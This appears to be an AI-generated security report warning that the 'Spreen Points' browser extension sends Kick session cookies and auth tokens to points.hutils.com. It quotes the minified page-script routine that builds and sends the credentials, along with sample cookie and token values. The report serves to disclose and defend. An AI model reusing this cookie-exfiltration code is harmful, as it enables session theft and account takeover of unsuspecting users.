Is Spreen Points safe?
Spreen Points is high risk. When the injected page script opens the Points WebSocket, the auth routine builds a value from document.cookie plus kick_session and sends it to points.hutils.com. Cookies go even with a Kick auth token present; testing confirmed this.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Kick cookies are sent in the Points WebSocket auth
When the injected page script opens the Points WebSocket, the auth routine builds a value from document.cookie plus kick_session and sends it to points.hutils.com.
Cookies go even with a Kick auth token present; testing confirmed this.
You navigate to a Kick page while Spreen Points is installed.
The extension's content script injects its page script on Kick pages.
The page script sends your cookie string and kick_session value in its WebSocket auth message.
If a Kick auth token exists, the same auth message includes both the token and cookies.
| Field | Value | Why it matters | |
|---|---|---|---|
Browser cookie string | nonce_crf=eyJhbGciOiJIUzI1NiJ9; theme=dark | This can include cookies available to the Kick page, tying the auth message to your browser session on that site. | |
Kick session value | kick_session=zcoDuOWMHrwz9u7b4oKmxC8tUaXacjSJqeBiKvFPQiuEa9W1CIYLu | This adds a Kick session identifier to the same outbound auth message. | |
Kick auth token | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYifQ.signature | When the token is present, the message can be linked to an authenticated Kick context instead of only a page visit. |
Auth routine includes cookies on both token and no-token paths
function T() {
L = !1, ie();
const y = localStorage.getItem("t_oken"),
E = `${document.cookie}; kick_session=${v.value||"zcoDuOWMHrwz9u7b4oKmxC8tUaXacjSJqeBiKvFPQiuEa9W1CIYLu"}`;
O.send("auth", y ? {
token: y,
cookies: E
} : {
cookies: E
})
}The page script requests metadata before connecting when no token exists
if (localStorage.getItem("t_oken")) return O.connect();
n = setTimeout(() => {
console.log("[ERROR] Timeout getting backend message"), Z.error("Error de cliente obteniendo credenciales, aguarde..."), O.connect()
}, 5e3), window.postMessage({
from: "w",
tracer: "getKickMetadata"
});
const V = await Hu();- points.hutils.com
Receives the Spreen Points WebSocket auth message containing cookies and, when present, the Kick auth token.